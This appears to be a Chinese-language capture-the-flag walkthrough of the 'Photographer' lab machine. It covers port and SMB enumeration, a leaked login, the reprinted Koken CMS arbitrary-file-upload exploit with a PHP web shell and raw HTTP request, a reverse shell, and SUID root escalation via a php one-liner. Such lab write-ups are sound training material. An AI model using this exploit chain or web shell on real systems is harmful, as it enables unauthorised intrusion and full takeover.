【W(wǎng)eb滲透】 Photographer靶機(jī)
當(dāng)前位置:點(diǎn)晴教程→知識(shí)管理交流
→『 技術(shù)文檔交流 』
kali:192.168.111.111 靶機(jī):192.168.111.132 信息收集端口掃描 nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.132 目標(biāo)8000端口為koken cms 使用enum4linux枚舉目標(biāo)samba服務(wù),發(fā)現(xiàn)共享文件夾 enum4linux -a 192.168.111.132 連接目標(biāo)共享文件夾,發(fā)現(xiàn)兩個(gè)文件 smbclient -N \\\\192.168.111.132\\sambashare mailsent.txt文件內(nèi)容 使用daisa@photographer.com | babygirl,登錄koken后臺(tái) 同時(shí)該版本的koken cms存在文件上傳漏洞 searchsploit koken # Exploit Title: Koken CMS 0.22.24 - Arbitrary File Upload (Authenticated)# Date: 2020-07-15# Exploit Author: v1n1v131r4# Vendor Homepage: http://koken.me/# Software Link: https://www.softaculous.com/apps/cms/Koken# Version: 0.22.24# Tested on: Linux# PoC: https://github.com/V1n1v131r4/Bypass-File-Upload-on-Koken-CMS/blob/master/README.mdThe Koken CMS upload restrictions are based on a list of allowed file extensions (withelist), which facilitates bypass through the handling of the HTTP request via Burp.Steps to exploit:1. create a malicious PHP file with this content: <?php system($_GET['cmd']);?>2. Save as "image.php.jpg"3. Authenticated, go to Koken CMS Dashboard, upload your file on "Import Content" button (Library panel) and send the HTTP request to Burp.4. On Burp, rename your file to "image.php"POST /koken/api.php?/content HTTP/1.1Host: target.comUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://target.com/koken/admin/x-koken-auth: cookieContent-Type: multipart/form-data; boundary=---------------------------2391361183188899229525551Content-Length: 1043Connection: closeCookie: PHPSESSID= [Cookie value here]-----------------------------2391361183188899229525551Content-Disposition: form-data; name="name"image.php-----------------------------2391361183188899229525551Content-Disposition: form-data; name="chunk"0-----------------------------2391361183188899229525551Content-Disposition: form-data; name="chunks"1-----------------------------2391361183188899229525551Content-Disposition: form-data; name="upload_session_start"1594831856-----------------------------2391361183188899229525551Content-Disposition: form-data; name="visibility"public-----------------------------2391361183188899229525551Content-Disposition: form-data; name="license"all-----------------------------2391361183188899229525551Content-Disposition: form-data; name="max_download"none-----------------------------2391361183188899229525551Content-Disposition: form-data; name="file"; filename="image.php"Content-Type: image/jpeg<?php system($_GET['cmd']);?>-----------------------------2391361183188899229525551--5. On Koken CMS Library, select you file and put the mouse on "Download File" to see where your file is hosted on server. 漏洞利用利用burp抓包,修改上傳文件的后綴,jpg改為php即可上傳 訪問(wèn)http://192.168.111.132:8000/storage/originals/cb/43/php-reverse-shell.php獲得反彈shell 提權(quán)查找suid權(quán)限的文件 find / -perm -u=s 2> /dev/null 提權(quán)方法:https://gtfobins.github.io/gtfobins/php/#suid 提升為root php -r "pcntl_exec('/bin/sh', ['-p']);" flag 該文章在 2023/12/13 18:58:44 編輯過(guò) |
關(guān)鍵字查詢
相關(guān)文章
正在查詢... |